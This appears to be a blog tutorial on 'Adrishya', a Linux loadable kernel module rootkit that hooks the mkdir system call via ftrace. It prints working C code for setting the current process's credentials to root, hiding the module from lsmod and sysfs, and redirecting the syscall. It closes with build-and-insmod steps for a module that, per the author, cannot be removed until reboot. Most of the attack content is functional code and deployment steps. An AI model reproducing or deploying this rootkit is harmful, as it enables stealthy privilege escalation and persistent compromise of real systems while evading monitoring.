Understanding How mkdir API Hook Leads to LKM Rootkits in Linux

Uncovering the Hidden Dangers

·

10 min read

Understanding How mkdir API Hook Leads to LKM Rootkits in Linux

Introduction

Adrishya is a Linux kernel module that leverages advanced kernel hooking techniques, specifically using ftrace (the Linux kernel’s function tracer) to hook into the mkdir system call. The module is designed to block directory creation attempts in a Linux environment by intercepting and modifying the behavior of the system call responsible for creating directories. This capability is useful for security purposes, such as preventing unauthorized directories from being created on a system.

The module also demonstrates how kernel hooks, credential manipulation, and ftrace-based hooking can be combined for both monitoring and controlling system behavior in a highly efficient and stealthy manner.

You can find the full code for Adrishya on my GitHub repository

What is a Kernel Module Rootkit?

Before diving into the technicalities, it’s important to understand the concept of kernel module rootkits. A kernel module is a piece of code that can be loaded into the Linux kernel at runtime to extend its functionality. These modules have significant control over the system, and if compromised, they can easily bypass system-level defenses.

A rootkit installed as an LKM has the potential to alter or mask key system functionalities, such as file access, network communications, and process management, making it extremely dangerous. By using techniques like ftrace hooks, attackers can intercept low-level system calls, making it possible to hide their malicious activities from typical system monitoring tools.

Features

  • Directory Creation Prevention: Blocks any directory creation attempts by intercepting the mkdir system call and returning an error.

  • Ftrace-based Hooking: Efficiently hooks the mkdir system call using ftrace, a powerful Linux kernel tracing mechanism.

  • Stealthy Operation: The module hides itself from common module listing tools like lsmod and modinfo by removing its entry from the kernel's module list.

  • Privileged Access: Escalates the module’s process credentials to root (UID = 0), ensuring that it has sufficient privileges to manipulate kernel operations and avoid detection.

  • Kernel Module Hiding: Hides its presence from userspace tools and prevents users from easily detecting the loaded module.

Rootkits at Ring 0: The Deepest Level of Control

A rootkit typically operates at the highest level of privilege in a system — the infamous Ring 0. To understand why this is so critical, let’s break down the different privilege levels or rings in a computer architecture, particularly the x86-based systems (which most Linux systems run on).

  • Ring 0 (Kernel Mode): This is the deepest, most privileged level. Code running in Ring 0 has full access to all system resources, including the hardware. Rootkits that operate in Ring 0 can directly interact with the kernel, alter system behaviors, and manipulate hardware resources without detection. A kernel rootkit that compromises Ring 0 has full control over the system and is virtually invisible to traditional security tools.

  • Ring 1 & Ring 2: These levels are typically used for device drivers and other privileged but less critical operations. They don’t have full access to the kernel but can perform sensitive tasks.

  • Ring 3 (User Mode): This is the least privileged level where most user applications run. It has restricted access to system resources and cannot directly interact with hardware or the kernel. However, Ring 3 applications can communicate with Ring 0 via system calls

What is API Hooking?

API hooking is a technique that involves intercepting function calls made by an application to a particular API. An API (Application Programming Interface) defines the interface and protocols that a program can use to interact with system-level resources. These calls could involve interactions with hardware, file systems, memory, or other resources in the kernel.

When an attacker uses API hooking, they replace or modify the behavior of specific functions, such as system calls, to achieve their desired result. This can be done in a way that is completely transparent to the program using the API — allowing the attacker to:

  • Monitor and log system activity.

  • Modify the behavior of system operations.

  • Prevent certain operations (e.g., blocking the creation of a directory or hiding a process).

  • Steal sensitive data or modify files without detection.

Let’s breakdown the code

Key Functions and Structures

1. rootmagic (Privileged Escalation)

static void rootmagic(void)
{
    struct cred *creds;
    creds = prepare_creds();
    if(creds == NULL){
        return;
    }
    creds->uid.val = creds->gid.val = 0;
    creds->euid.val = creds->egid.val = 0;
    creds->suid.val = creds->sgid.val = 0;
    creds->fsuid.val = creds->fsgid.val = 0;
    commit_creds(creds);
}

Purpose:

This function grants root (administrator) privileges to the kernel module by modifying the credentials of the current process.

  • prepare_creds(): Prepares a new cred structure, which holds the user and group IDs of the process. If it returns NULL, it means the operation failed.

  • Setting IDs to 0: By setting the user IDs (uid, euid, suid, fsuid) and group IDs (gid, egid, sgid, fsgid) to 0, the process is given root privileges (root is represented by UID 0).

  • commit_creds(creds): After modifying the credentials structure, this function applies the changes, granting root privileges to the process.

Impact:

This is a classic method for privilege escalation. The module can now perform any actions requiring root privileges, such as modifying system files, changing system configurations, or loading/unloading other kernel modules.

2. fh_resolve_hook_address (Resolving the Target Function's Address)

static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
    hook->address = lookup_name(hook->name);
    if (!hook->address) {
        printk(KERN_ERR "Failed to resolve %s\n", hook->name);
        return -ENOENT;
    }
    *((unsigned long*)hook->original) = hook->address;
    return 0;
}

Purpose:

This function resolves the memory address of the target function that we want to hook. This is essential for replacing the function with our own.

  • lookup_name(hook->name):
    It looks up the address of the target function (hook->name). The function name is passed as a string (for example, "__x64_sys_mkdir"), and lookup_name resolves its address in memory. This is done using different mechanisms depending on the kernel version.

  • Store Address:
    The resolved address is stored in hook->address, and the original address of the function is saved in hook->original.

  • Return Value:
    If the address is successfully resolved, the function returns 0. If it fails, it returns -ENOENT (No such file or directory).

Impact:

This function allows us to dynamically resolve the address of kernel functions to hook. This is crucial for function interception and modification.

3. fh_ftrace_thunk (Hook Function)

static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
        struct ftrace_ops *ops, struct FTRACE_REGS_STRUCT *regs)
{
    struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
    if (!within_module(parent_ip, THIS_MODULE))
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,11,0)
        regs->regs.ip = (unsigned long)hook->function;
#else
        regs->ip = (unsigned long)hook->function;
#endif
}

Purpose:

This is the hook function that gets called when the target function is invoked. Its job is to redirect the flow of execution from the original function to the hooked function.

  • container_of(ops, struct ftrace_hook, ops):
    This retrieves the original ftrace_hook structure from the ftrace_ops structure.

  • within_module(parent_ip, THIS_MODULE):
    This checks if the caller is within the same module. This prevents recursion and ensures that we don't end up calling the hook within itself.

  • Redirection:
    The main task of this function is to redirect the instruction pointer (ip) to the hook function (hook->function), ensuring the hook function is called instead of the original one.

Impact:

This function is the core of the ftrace hooking mechanism. It allows us to intercept kernel functions and modify their behavior. In this case, the original function (e.g., mkdir) is replaced with a custom function (hook_mkdir), allowing us to control how system calls like directory creation are handled.

4. fh_install_hook (Installing the Hook)

static int fh_install_hook(struct ftrace_hook *hook)
{
    int err = fh_resolve_hook_address(hook);
    if (err)
        return err;

    hook->ops.func = fh_ftrace_thunk;
    hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
                   | FTRACE_OPS_FL_RECURSION
                   | FTRACE_OPS_FL_IPMODIFY;

    err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
    if (err) {
        printk(KERN_ERR "ftrace_set_filter_ip failed: %d\n", err);
        return err;
    }

    err = register_ftrace_function(&hook->ops);
    if (err) {
        printk(KERN_ERR "register_ftrace_function failed: %d\n", err);
        ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
        return err;
    }

    return 0;
}

Purpose:

This function installs a hook for the target function.

  • Resolving the Address:
    It calls fh_resolve_hook_address to find the address of the function to hook (e.g., mkdir).

  • Setting Hook Flags:
    hook->ops.flags is set to configure how the hook behaves. This includes:

  • FTRACE_OPS_FL_SAVE_REGS: Ensures that the registers are saved before the hook function is called.

  • FTRACE_OPS_FL_RECURSION: Allows recursion within the hooked function.

  • FTRACE_OPS_FL_IPMODIFY: Modifies the instruction pointer to redirect execution to the hook.

  • Setting the Filter:
    ftrace_set_filter_ip sets up the filter, telling ftrace to monitor the function at the specified address (hook->address).

  • Registering the Hook:
    register_ftrace_function registers the hook with ftrace, activating it.

Impact:

This function sets up the actual hook. Once installed, any call to the target function (like mkdir) is intercepted by the hook.

5. fh_remove_hook (Removing the Hook)

static void fh_remove_hook(struct ftrace_hook *hook)
{
    int err = unregister_ftrace_function(&hook->ops);
    if (err)
        printk(KERN_ERR "unregister_ftrace_function failed: %d\n", err);
    err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
    if (err)
        printk(KERN_ERR "ftrace_set_filter_ip failed: %d\n", err);
}

Purpose:

This function removes a previously installed hook.

  • Unregister the Hook:
    It calls unregister_ftrace_function to remove the hook.

  • Remove the Filter:
    ftrace_set_filter_ip is called again to disable the filter, restoring the original function behavior.

Impact:

This function ensures that the hook can be safely removed and the system can return to its normal state.

6. mkdir_monitor_init (Module Initialization)

static int __init mkdir_monitor_init(void)
{
    int err;
    size_t i;
    rootmagic(); // Privilege escalation

    // Module hiding
    list_del_init(&__this_module.list);
    kobject_del(&THIS_MODULE->mkobj.kobj);

    for (i = 0; i < ARRAY_SIZE(hooks); i++) {
        err = fh_install_hook(&hooks[i]);
        if (err)
            goto error;
    }

    printk(KERN_INFO "mkdir_monitor: Loaded\n");
    return 0;

error:
    while (i != 0) {
        fh_remove_hook(&hooks[--i]);
    }
    return err;
}

Purpose:

This function is called when the kernel module is loaded.

  • Privilege Escalation:
    Calls rootmagic() to escalate the module's privileges to root.

  • Module Hiding:
    It hides the module by removing it from the module list (list_del_init) and deleting it from the sysfs (kobject_del).

  • Installing Hooks:
    It installs the hooks (e.g., for mkdir) using fh_install_hook.

Impact:

This function ensures that when the module is loaded, it gains root privileges, hides itself from the system, and sets up the necessary hooks to modify kernel behavior.

7. mkdir_monitor_exit (Module Exit)

static void __exit mkdir_monitor_exit(void)
{
    size_t i;

    for (i = 0; i < ARRAY_SIZE(hooks); i++)
        fh_remove_hook(&hooks[i]);

    printk(KERN_INFO "mkdir_monitor: Unloaded\n");
}

Purpose:

This function is called when the kernel module is unloaded.

  • Removing Hooks:
    It removes the installed hooks using fh_remove_hook.

Impact:

This function ensures that the hooks are properly cleaned up when the module is removed, restoring the original functionality of the hooked functions.

ftrace_hook Structure Definition

struct ftrace_hook {
    const char *name;        // Name of the function to hook.
    void *function;          // Pointer to the hook function to redirect to.
    void *original;          // Pointer to store the original function's address.
    unsigned long address;   // The address of the function to hook.
    struct ftrace_ops ops;   // ftrace_ops structure used for the ftrace hook.
};

This structure is used to represent a hook (a “place” where code can intercept or modify the execution flow) on a specific kernel function using ftrace.

Structure Fields:

  1. name: The name of the function being hooked. For example, "__x64_sys_mkdir" represents the system call for mkdir on x86-64 systems.

  2. function: A pointer to the function that should replace the original function. This is the function that will be called instead of the original function.

  3. original: A pointer to store the original function's address. This allows you to restore the original function later.

  4. address: The address of the function being hooked. This is resolved dynamically at runtime.

  5. ops: A ftrace_ops structure that defines the behavior of the hook. This includes the callback function (func) and other configuration like flags and operations to apply when the hook is triggered.

CAUTION

ONLY WORK FOR x86_64!!

"RIP ARM"

Unleash the power of Adrishya

git clone https://github.com/malefax/Adrishya.git

Navigate through the directories and check the content in the Adrishya directory.

Now, open a new terminal and check the sys_mkdir syscall name. You can do this by:

cat /proc/kallsyms | grep sys_mkdir

Alright, in my case, __x64_sys_mkdir is the syscall name. Now, open Adrishya.c and, in the HOOK() macro, substitute the name and save the file.

Everything is done. Now, generate the batch file using the make command

Okay, now insert the module using the insmod command.

Now, here’s the scary part: check the module name using the given command, and you’ll notice that our module is hidden in the kernel memory. Once the module is loaded, no one can remove it until the next reboot.

In the above code, you can see that we have successfully hidden our module. From now on, if anyone tries to create a directory using the mkdir command, the directory won't be created

Check that the module is loaded.

Now, try to create a directory. For example, open a terminal and create a ‘test’ directory

In the above code, you can clearly see that the directory creation failed. You can double-check by using the given command.